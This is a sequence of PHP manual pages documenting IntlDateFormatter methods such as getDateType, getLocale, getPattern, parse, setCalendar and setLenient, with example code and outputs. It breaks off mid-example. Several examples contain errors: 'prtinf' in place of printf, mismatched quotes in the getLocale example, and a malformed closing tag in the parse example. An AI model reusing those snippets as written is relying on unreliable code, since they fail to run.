IntlDateFormatter::getDateType -- datefmt_get_datetype — Get the datetype used for the IntlDateFormatter

Description

Object oriented style

public int IntlDateFormatter::getDateType ( void )

Procedural style

int datefmt_get_datetype ( IntlDateFormatter $fmt )

Returns date type used by the formatter.

Parameters

fmt

The formatter resource.

Return Values

The current date type value of the formatter.

Examples

Example #1 datefmt_get_datetype() example

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'datetype of the formatter is : ' . datefmt_get_datetype($fmt);
echo 'First Formatted output with datetype is ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::SHORT,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'Now datetype of the formatter is : ' . datefmt_get_datetype($fmt);
echo 'Second Formatted output with datetype is ' . datefmt_format($fmt, 0);

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'datetype of the formatter is : ' . $fmt->getDateType();
echo 'First Formatted output is ' . $fmt->format(0);
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::SHORT,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'Now datetype of the formatter is : ' . $fmt->getDateType();
echo 'Second Formatted output is ' . $fmt->format(0);

?>

The above example will output:

datetype of the formatter is : 0
First Formatted output is Wednesday, December 31, 1969 4:00:00 PM PT
Now datetype of the formatter is : 2
Second Formatted output is 12/31/69 4:00:00 PM PT

See Also

  • datefmt_get_timetype() - Get the timetype used for the IntlDateFormatter
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.


Get the error code from last operation

  • « IntlDateFormatter::getDateType
  • IntlDateFormatter::getErrorMessage »
  • PHP Manual
  • IntlDateFormatter
  • Get the error code from last operation

IntlDateFormatter::getErrorCode

datefmt_get_error_code

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::getErrorCode -- datefmt_get_error_code — Get the error code from last operation

Description

Object oriented style

public int IntlDateFormatter::getErrorCode ( void )

Procedural style

int datefmt_get_error_code ( IntlDateFormatter $fmt )

Get the error code from last operation. Returns error code from the last number formatting operation.

Parameters

fmt

The formatter resource.

Return Values

The error code, one of UErrorCode values. Initial value is U_ZERO_ERROR.

Examples

Example #1 datefmt_get_error_code() example

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
$str = datefmt_format($fmt);
if (!$str) {
    printf(
        "ERROR: %s (%d)\n",
        datefmt_get_error_message($fmt),
        datefmt_get_error_code($fmt)
    );
}
?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
$str = $fmt->format();
if (!$str) {
    printf(
        "ERROR: %s (%d)\n",
        $fmt->getErrorMessage(),
        $fmt->getErrorCode()
    );
}
?>

The above example will output:

ERROR: U_ZERO_ERROR (0)

See Also

  • datefmt_get_error_message() - Get the error text from the last operation.
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.


Get the error text from the last operation.

  • « IntlDateFormatter::getErrorCode
  • IntlDateFormatter::getLocale »
  • PHP Manual
  • IntlDateFormatter
  • Get the error text from the last operation.

IntlDateFormatter::getErrorMessage

datefmt_get_error_message

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::getErrorMessage -- datefmt_get_error_message — Get the error text from the last operation.

Description

Object oriented style

public string IntlDateFormatter::getErrorMessage ( void )

Procedural style

string datefmt_get_error_message ( IntlDateFormatter $fmt )

Get the error text from the last operation.

Parameters

fmt

The formatter resource.

Return Values

Description of the last error.

Examples

Example #1 datefmt_get_error_message() example

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
$str = datefmt_format($fmt);
if (!$str) {
    prtinf(
        "ERROR: %s (%d)\n",
        datefmt_get_error_message($fmt),
        datefmt_get_error_code($fmt)
    );
}
?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
$str = $fmt->format();
if(!$str) {
    prtinf(
        "ERROR: %s (%d)\n",
        $fmt->getErrorMessage(),
        $fmt->getErrorCode()
    );
}

?>

The above example will output:

ERROR: U_ZERO_ERROR (0)

See Also

  • datefmt_get_error_code() - Get the error code from last operation
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.


Get the locale used by formatter

  • « IntlDateFormatter::getErrorMessage
  • IntlDateFormatter::getPattern »
  • PHP Manual
  • IntlDateFormatter
  • Get the locale used by formatter

IntlDateFormatter::getLocale

datefmt_get_locale

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::getLocale -- datefmt_get_locale — Get the locale used by formatter

Description

Object oriented style

public string IntlDateFormatter::getLocale ([ int $which ] )

Procedural style

string datefmt_get_locale ( IntlDateFormatter $fmt [, int $which ] )

Get locale used by the formatter.

Parameters

fmt

The formatter resource

hich

You can choose between valid and actual locale ( Locale::VALID_LOCALE, Locale::ACTUAL_LOCALE, respectively). The default is the actual locale.

Return Values

the locale of this formatter or 'false' if error

Examples

Example #1 datefmt_get_locale() example

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'locale of the formatter is : " . datefmt_get_locale($fmt);
echo 'First Formatted output is " . datefmt_format($fmt, 0);

$fmt = datefmt_create(
    'de-DE',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'locale of the formatter is : ' . datefmt_get_locale($fmt);
echo 'Second Formatted output is ' . datefmt_format($fmt, 0);

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'locale of the formatter is : ' . $fmt->getLocale();
echo 'First Formatted output is ' . $fmt->format(0);

$fmt = new IntlDateFormatter(
    'de-DE',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'locale of the formatter is : ' . $fmt->getLocale();
echo 'Second Formatted output is ' . $fmt->format(0);

?>

The above example will output:

locale of the formatter is : en
First Formatted output is Wednesday, December 31, 1969 4:00:00 PM PT
locale of the formatter is : de
Second Formatted output is Mittwoch, 31. Dezember 1969 16:00 Uhr GMT-08:00

See Also

  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.


Get the pattern used for the IntlDateFormatter

  • « IntlDateFormatter::getLocale
  • IntlDateFormatter::getTimeType »
  • PHP Manual
  • IntlDateFormatter
  • Get the pattern used for the IntlDateFormatter

IntlDateFormatter::getPattern

datefmt_get_pattern

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::getPattern -- datefmt_get_pattern — Get the pattern used for the IntlDateFormatter

Description

Object oriented style

public string IntlDateFormatter::getPattern ( void )

Procedural style

string datefmt_get_pattern ( IntlDateFormatter $fmt )

Get pattern used by the formatter.

Parameters

fmt

The formatter resource.

Return Values

The pattern string being used to format/parse.

Examples

Example #1 datefmt_get_pattern() example

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    'MM/dd/yyyy'
);
echo 'pattern of the formatter is : ' . datefmt_get_pattern($fmt);
echo 'First Formatted output with pattern is ' . datefmt_format($fmt, 0);
datefmt_set_pattern($fmt,'yyyymmdd hh:mm:ss z');
echo 'Now pattern of the formatter is : ' . datefmt_get_pattern($fmt);
echo 'Second Formatted output with pattern is ' . datefmt_format($fmt, 0);

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    'MM/dd/yyyy'
);
echo 'pattern of the formatter is : ' . $fmt->getPattern();
echo 'First Formatted output is ' . $fmt->format(0);
$fmt->setPattern('yyyymmdd hh:mm:ss z');
echo 'Now pattern of the formatter is : ' . $fmt->getPattern();
echo 'Second Formatted output is ' . $fmt->format(0);
?>

The above example will output:

pattern of the formatter is : MM/dd/yyyy
First Formatted output is 12/31/1969
Now pattern of the formatter is : yyyymmdd hh:mm:ss z
Second Formatted output is 19690031 04:00:00 PST

See Also

  • datefmt_set_pattern() - Set the pattern used for the IntlDateFormatter
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.


Get the timetype used for the IntlDateFormatter

  • « IntlDateFormatter::getPattern
  • IntlDateFormatter::getTimeZoneId »
  • PHP Manual
  • IntlDateFormatter
  • Get the timetype used for the IntlDateFormatter

IntlDateFormatter::getTimeType

datefmt_get_timetype

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::getTimeType -- datefmt_get_timetype — Get the timetype used for the IntlDateFormatter

Description

Object oriented style

public int IntlDateFormatter::getTimeType ( void )

Procedural style

int datefmt_get_timetype ( IntlDateFormatter $fmt )

Return time type used by the formatter.

Parameters

fmt

The formatter resource.

Return Values

The current date type value of the formatter.

Examples

Example #1 datefmt_get_timetype() example

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'timetype of the formatter is : ' . datefmt_get_timetype($fmt);
echo 'First Formatted output with timetype is ' . datefmt_format($fmt, 0);

$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::SHORT,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'Now timetype of the formatter is : ' . datefmt_get_timetype($fmt);
echo 'Second Formatted output with timetype is ' . datefmt_format($fmt, 0);

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'timetype of the formatter is : ' . $fmt->getTimeType();
echo 'First Formatted output is ' . $fmt->format(0);

$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::SHORT,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'Now timetype of the formatter is : ' . $fmt->getTimeType();
echo 'Second Formatted output is ' . $fmt->format(0);

?>

The above example will output:

timetype of the formatter is : 0
First Formatted output is Wednesday, December 31, 1969 4:00:00 PM PT
Now timetype of the formatter is : 3
Second Formatted output is Wednesday, December 31, 1969 4:00 PM

See Also

  • datefmt_get_datetype() - Get the datetype used for the IntlDateFormatter
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.


Get the timezone-id used for the IntlDateFormatter

  • « IntlDateFormatter::getTimeType
  • IntlDateFormatter::getCalendarObject »
  • PHP Manual
  • IntlDateFormatter
  • Get the timezone-id used for the IntlDateFormatter

IntlDateFormatter::getTimeZoneId

datefmt_get_timezone_id

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::getTimeZoneId -- datefmt_get_timezone_id — Get the timezone-id used for the IntlDateFormatter

Description

Object oriented style

public string IntlDateFormatter::getTimeZoneId ( void )

Procedural style

string datefmt_get_timezone_id ( IntlDateFormatter $fmt )

Get the timezone-id used for the IntlDateFormatter.

Parameters

fmt

The formatter resource.

Return Values

ID string for the time zone used by this formatter.

Examples

Example #1 datefmt_get_timezone_id() example

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'timezone_id of the formatter is : ' . datefmt_get_timezone_id($fmt);
datefmt_set_timezone_id($fmt, 'CN');
echo 'Now timezone_id of the formatter is : ' . datefmt_get_timezone_id($fmt);

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'timezone_id of the formatter is : ' . $fmt->getTimezoneId();
$fmt->setTimezoneId('CN');
echo 'Now timezone_id of the formatter is : ' . $fmt->getTimezoneId();

?>

The above example will output:

timezone_id of the formatter is : America/Los_Angeles
Now timezone_id of the formatter is : CN

See Also

  • datefmt_set_timezone_id() - Sets the time zone to use
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.


Get copy of formatterʼs calendar object

  • « IntlDateFormatter::getTimeZoneId
  • IntlDateFormatter::getTimeZone »
  • PHP Manual
  • IntlDateFormatter
  • Get copy of formatterʼs calendar object

IntlDateFormatter::getCalendarObject

datefmt_get_calendar_object

(PHP 5 >= 5.5.0, PECL intl >= 3.0.0)

IntlDateFormatter::getCalendarObject -- datefmt_get_calendar_object — Get copy of formatterʼs calendar object

Description

Object oriented style

public IntlCalendar IntlDateFormatter::getCalendarObject ( void )

Procedural style

IntlCalendar datefmt_get_calendar_object ( void )

Obtain a copy of the calendar object used internally by this formatter. This calendar will have a type (as in gregorian, japanese, buddhist, roc, persian, islamic, etc.) and a timezone that match the type and timezone used by the formatter. The date/time of the object is unspecified.

Parameters

This function has no parameters.

Return Values

A copy of the internal calendar object used by this formatter.

Examples

Example #1 IntlDateFormatter::getCalendarObject() example

<?php
$formatter = IntlDateFormatter::create(
    "fr_FR@calendar=islamic",
    NULL,
    NULL,
    "GMT-01:00",
    IntlDateFormatter::TRADITIONAL
);

$cal = $formatter->getCalendarObject();

var_dump(
    $cal->getType(),
    $cal->getTimeZone(),
    $cal->getLocale(Locale::VALID_LOCALE)
);

The above example will output:

string(7) "islamic"
object(IntlTimeZone)#3 (4) {
  ["valid"]=>
  bool(true)
  ["id"]=>
  string(9) "GMT-01:00"
  ["rawOffset"]=>
  int(-3600000)
  ["currentOffset"]=>
  int(-3600000)
}
string(5) "fr_FR"

See Also

  • IntlDateFormatter::getCalendar() - Get the calendar type used for the IntlDateFormatter
  • IntlDateFormatter::setCalendar() - Sets the calendar type used by the formatter
  • IntlCalendar

User Contributed Notes

There are no user contributed notes for this page.


Get formatterʼs timezone

  • « IntlDateFormatter::getCalendarObject
  • IntlDateFormatter::isLenient »
  • PHP Manual
  • IntlDateFormatter
  • Get formatterʼs timezone

IntlDateFormatter::getTimeZone

datefmt_get_timezone

(PHP 5 >= 5.5.0, PECL intl >= 3.0.0)

IntlDateFormatter::getTimeZone -- datefmt_get_timezone — Get formatterʼs timezone

Description

Object oriented style

public IntlTimeZone IntlDateFormatter::getTimeZone ( void )

Procedural style

IntlTimeZone datefmt_get_timezone ( void )

Returns an IntlTimeZone object representing the timezone that will be used by this object to format dates and times. When formatting IntlCalendar and DateTime objects with this IntlDateFormatter, the timezone used will be the one returned by this method, not the one associated with the objects being formatted.

Parameters

This function has no parameters.

Return Values

The associated IntlTimeZone object or FALSE on failure.

Examples

Example #1 IntlDateFormatter::getTimeZone() examples

<?php

$madrid = IntlDateFormatter::create(NULL, NULL, NULL, 'Europe/Madrid');
$lisbon = IntlDateFormatter::create(NULL, NULL, NULL, 'Europe/Lisbon');

var_dump($madrid->getTimezone());
echo $madrid->getTimezone()->getDisplayName(
        false, IntlTimeZone::DISPLAY_GENERIC_LOCATION, "en_US"), "\n";
echo $lisbon->getTimeZone()->getId(), "\n";
//The id can also be retrieved with ->getTimezoneId()
echo $lisbon->getTimeZoneId(), "\n";

The above example will output:

object(IntlTimeZone)#4 (4) {
  ["valid"]=>
  bool(true)
  ["id"]=>
  string(13) "Europe/Madrid"
  ["rawOffset"]=>
  int(3600000)
  ["currentOffset"]=>
  int(7200000)
}
Spain Time
Europe/Lisbon
Europe/Lisbon

See Also

  • IntlDateFormatter::getTimeZoneId() - Get the timezone-id used for the IntlDateFormatter
  • IntlDateFormatter::setTimeZone() - Sets formatterʼs timezone
  • IntlTimeZone

User Contributed Notes

There are no user contributed notes for this page.


Get the lenient used for the IntlDateFormatter

  • « IntlDateFormatter::getTimeZone
  • IntlDateFormatter::localtime »
  • PHP Manual
  • IntlDateFormatter
  • Get the lenient used for the IntlDateFormatter

IntlDateFormatter::isLenient

datefmt_is_lenient

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::isLenient -- datefmt_is_lenient — Get the lenient used for the IntlDateFormatter

Description

Object oriented style

public bool IntlDateFormatter::isLenient ( void )

Procedural style

bool datefmt_is_lenient ( IntlDateFormatter $fmt )

Check if the parser is strict or lenient in interpreting inputs that do not match the pattern exactly.

Parameters

fmt

The formatter resource.

Return Values

TRUE if parser is lenient, FALSE if parser is strict. By default the parser is lenient.

Examples

Example #1 datefmt_is_lenient() example

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    'dd/mm/yyyy'
);
echo 'lenient of the formatter is : ';
if ($fmt->isLenient()) {
    echo 'TRUE';
} else {
    echo 'FALSE';
}
datefmt_parse($fmt, '35/13/1971');
echo "\n Trying to do parse('35/13/1971').\nResult is : " . datefmt_parse($fmt, '35/13/1971');
if (intl_get_error_code() != 0) {
    echo "\nError_msg is : " . intl_get_error_message();
    echo "\nError_code is : " . intl_get_error_code();
}
datefmt_set_lenient($fmt,false);
echo 'Now lenient of the formatter is : ';
if ($fmt->isLenient()) {
    echo 'TRUE';
} else {
    echo 'FALSE';
}
datefmt_parse($fmt, '35/13/1971');
echo "\n Trying to do parse('35/13/1971').Result is : " . datefmt_parse($fmt, '35/13/1971');
if (intl_get_error_code() != 0) {
    echo "\nError_msg is : " . intl_get_error_message();
    echo "\nError_code is : " . intl_get_error_code();
}

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    "dd/mm/yyyy"
);
echo "lenient of the formatter is : ";
if ($fmt->isLenient()) {
    echo 'TRUE';
} else {
    echo 'FALSE';
}
$fmt->parse('35/13/1971');
echo "\n Trying to do parse('35/13/1971').\nResult is : " . $fmt->parse('35/13/1971');
if (intl_get_error_code() != 0){
    echo "\nError_msg is : " . intl_get_error_message();
    echo "\nError_code is : " . intl_get_error_code();
}

$fmt->setLenient(FALSE);
echo 'Now lenient of the formatter is : ';
if ($fmt->isLenient()) {
    echo 'TRUE';
} else {
    echo 'FALSE';
}
$fmt->parse('35/13/1971');
echo "\n Trying to do parse('35/13/1971').\nResult is : " . $fmt->parse('35/13/1971');
if (intl_get_error_code() != 0) {
    echo "\nError_msg is : " . intl_get_error_message();
    echo "\nError_code is : " . intl_get_error_code();
}

?>

The above example will output:

lenient of the formatter is : TRUE
Trying to do parse('35/13/1971').
Result is : -2147483
Now lenient of the formatter is : FALSE
Trying to do parse('35/13/1971').
Result is :
Error_msg is : Date parsing failed: U_PARSE_ERROR
Error_code is : 9

See Also

  • datefmt_set_lenient() - Set the leniency of the parser
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.


Parse string to a field-based time value

  • « IntlDateFormatter::isLenient
  • IntlDateFormatter::parse »
  • PHP Manual
  • IntlDateFormatter
  • Parse string to a field-based time value

IntlDateFormatter::localtime

datefmt_localtime

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::localtime -- datefmt_localtime — Parse string to a field-based time value

Description

Object oriented style

public array IntlDateFormatter::localtime ( string $value [, int &$position ] )

Procedural style

array datefmt_localtime ( IntlDateFormatter $fmt , string $value [, int &$position ] )

Converts string $value to a field-based time value ( an array of various fields), starting at $parse_pos and consuming as much of the input value as possible.

Parameters

fmt

The formatter resource

value

string to convert to a time

position

Position at which to start the parsing in $value (zero-based). If no error occurs before $value is consumed, $parse_pos will contain -1 otherwise it will contain the position at which parsing ended . If $parse_pos > strlen($value), the parse fails immediately.

Return Values

Localtime compatible array of integers : contains 24 hour clock value in tm_hour field

Examples

Example #1 datefmt_localtime() example

<?php

$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
$arr = datefmt_localtime($fmt, 'Wednesday, December 31, 1969 4:00:00 PM PT', 0);
echo 'First parsed output is ';
if ($arr) {
    foreach ($arr as $key => $value) {
        echo "$key : $value , ";
    }
}

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
$arr = $fmt->localtime('Wednesday, December 31, 1969 4:00:00 PM PT', 0);
echo 'First parsed output is ';
if ($arr) {
    foreach ($arr as $key => $value) {
        echo "$key : $value , ";
    }
}

?>

The above example will output:

First parsed output is tm_sec : 0 , tm_min : 0 , tm_hour : 16 , tm_year : 1969 ,
tm_mday : 31 , tm_wday : 4 , tm_yday : 365 , tm_mon : 11 , tm_isdst : 0 ,

See Also

  • datefmt_create() - Create a date formatter
  • datefmt_format() - Format the date/time value as a string
  • datefmt_parse() - Parse string to a timestamp value
  • datefmt_get_error_code() - Get the error code from last operation
  • datefmt_get_error_message() - Get the error text from the last operation.

User Contributed Notes

There are no user contributed notes for this page.


Parse string to a timestamp value

  • « IntlDateFormatter::localtime
  • IntlDateFormatter::setCalendar »
  • PHP Manual
  • IntlDateFormatter
  • Parse string to a timestamp value

IntlDateFormatter::parse

datefmt_parse

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::parse -- datefmt_parse — Parse string to a timestamp value

Description

Object oriented style

public int IntlDateFormatter::parse ( string $value [, int &$position ] )

Procedural style

int datefmt_parse ( IntlDateFormatter $fmt , string $value [, int &$position ] )

Converts string $value to an incremental time value, starting at $parse_pos and consuming as much of the input value as possible.

Parameters

fmt

The formatter resource

value

string to convert to a time

position

Position at which to start the parsing in $value (zero-based). If no error occurs before $value is consumed, $parse_pos will contain -1 otherwise it will contain the position at which parsing ended (and the error occurred). This variable will contain the end position if the parse fails. If $parse_pos > strlen($value), the parse fails immediately.

Return Values

timestamp parsed value, or FALSE if value can't be parsed.

Examples

Example #1 OO example

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'First parsed output is ' . $fmt->parse('Wednesday, December 20, 1989 4:00:00 PM PT');
$fmt = new IntlDateFormatter(
    'de-DE',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
?>

Example #2 datefmt_parse() example

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'First parsed output is ' . datefmt_parse($fmt, 'Wednesday, December 20, 1989 4:00:00 PM PT');
$fmt = datefmt_create(
    'de-DE',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'Second parsed output is ' . datefmt_parse($fmt, 'Mittwoch, 20. Dezember 1989 16:00 Uhr GMT-08:00');
?

The above example will output:

First parsed output is 630201600
Second parsed output is 630201600

See Also

  • datefmt_create() - Create a date formatter
  • datefmt_format() - Format the date/time value as a string
  • datefmt_localtime() - Parse string to a field-based time value
  • datefmt_get_error_code() - Get the error code from last operation
  • datefmt_get_error_message() - Get the error text from the last operation.

User Contributed Notes

There are no user contributed notes for this page.


Sets the calendar type used by the formatter

  • « IntlDateFormatter::parse
  • IntlDateFormatter::setLenient »
  • PHP Manual
  • IntlDateFormatter
  • Sets the calendar type used by the formatter

IntlDateFormatter::setCalendar

datefmt_set_calendar

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::setCalendar -- datefmt_set_calendar — Sets the calendar type used by the formatter

Description

Object oriented style

bool IntlDateFormatter::setCalendar ( mixed $which )

Procedural style

bool datefmt_set_calendar ( IntlDateFormatter $fmt , mixed $which )

Sets the calendar or calendar type used by the formatter.

Parameters

fmt

The formatter resource.

which

This can either be: the calendar type to use (default is IntlDateFormatter::GREGORIAN, which is also used if NULL is specified) or an IntlCalendar object.

Any IntlCalendar object passed in will be cloned; no modifications will be made to the argument object.

The timezone of the formatter will only be kept if an IntlCalendar object is not passed, otherwise the new timezone will be that of the passed object.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.5.0/PECL 3.0.0 | It became possible to pass an IntlCalendar object.

Examples

Example #1 datefmt_set_calendar() example

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'calendar of the formatter is : ' . datefmt_get_calendar($fmt);
datefmt_set_calendar($fmt, IntlDateFormatter::TRADITIONAL);
echo 'Now calendar of the formatter is : ' . datefmt_get_calendar($fmt);
?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN
);
echo 'calendar of the formatter is : ' . $fmt->getCalendar();
$fmt->setCalendar(IntlDateFormatter::TRADITIONAL);
echo 'Now calendar of the formatter is : ' . $fmt->getCalendar();
?>

The above example will output:

calendar of the formatter is : 1
Now calendar of the formatter is : 0

Example #3 Example with IntlCalendar argument

<?php
$time = strtotime("2013-03-03 00:00:00 UTC");
$formatter = IntlDateFormatter::create("en_US", NULL, NULL, "Europe/Amsterdam");

echo "before: ", $formatter->format($time), "\n";

/* note that the calendar's locale is not used! */
$formatter->setCalendar(IntlCalendar::createInstance(
               "America/New_York", "pt_PT@calendar=islamic"));

echo "after:  ", $formatter->format($time), "\n";

The above example will output:

before: Sunday, March 3, 2013 at 1:00:00 AM Central European Standard Time
after:  Saturday, Rabiʻ II 20, 1434 at 7:00:00 PM Eastern Standard Time

See Also

  • datefmt_get_calendar() - Get the calendar type used for the IntlDateFormatter
  • datefmt_get_calendar_object() - Get copy of formatterʼs calendar object
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.


Set the leniency of the parser

  • « IntlDateFormatter::setCalendar
  • IntlDateFormatter::setPattern »
  • PHP Manual
  • IntlDateFormatter
  • Set the leniency of the parser

IntlDateFormatter::setLenient

datefmt_set_lenient

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::setLenient -- datefmt_set_lenient — Set the leniency of the parser

Description

Object oriented style

public bool IntlDateFormatter::setLenient ( bool $lenient )

Procedural style

bool datefmt_set_lenient ( IntlDateFormatter $fmt , bool $lenient )

Define if the parser is strict or lenient in interpreting inputs that do not match the pattern exactly. Enabling lenient parsing allows the parser to accept otherwise flawed date or time patterns, parsing as much as possible to obtain a value. Extra space, unrecognized tokens, or invalid values ("February 30th") are not accepted.

Parameters

fmt

The formatter resource

lenient

Sets whether the parser is lenient or not, default is TRUE (lenient).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 datefmt_set_lenient() example

<?php
$fmt = datefmt_create(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    'dd/mm/yyyy'
);
echo 'lenient of the formatter is : ';
if ($fmt->isLenient()) {
    echo 'TRUE';
} else {
    echo 'FALSE';
}
datefmt_parse($fmt, '35/13/1971');
echo "\n Trying to do parse('35/13/1971').\nResult is : " . datefmt_parse($fmt, '35/13/1971');
if (intl_get_error_code() != 0) {
    echo "\nError_msg is : " . intl_get_error_message();
    echo "\nError_code is : " . intl_get_error_code();
}
datefmt_set_lenient($fmt, false);
echo 'Now lenient of the formatter is : ';
if ($fmt->isLenient()) {
    echo 'TRUE';
} else {
    echo 'FALSE';
}
datefmt_parse($fmt, '35/13/1971');
echo "\nTrying to do parse('35/13/1971').\nResult is : " . datefmt_parse($fmt, '35/13/1971');
if (intl_get_error_code() != 0) {
    echo "\nError_msg is : ".intl_get_error_message();
    echo "\nError_code is : ".intl_get_error_code();
}

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter(
    'en_US',
    IntlDateFormatter::FULL,
    IntlDateFormatter::FULL,
    'America/Los_Angeles',
    IntlDateFormatter::GREGORIAN,
    'dd/mm/yyyy'
);
echo 'lenient of the formatter is : ';
if ($fmt->isLenient()) {
    echo 'TRUE';
} else {
    echo 'FALSE';
}
$fmt->parse('35/13/1971');
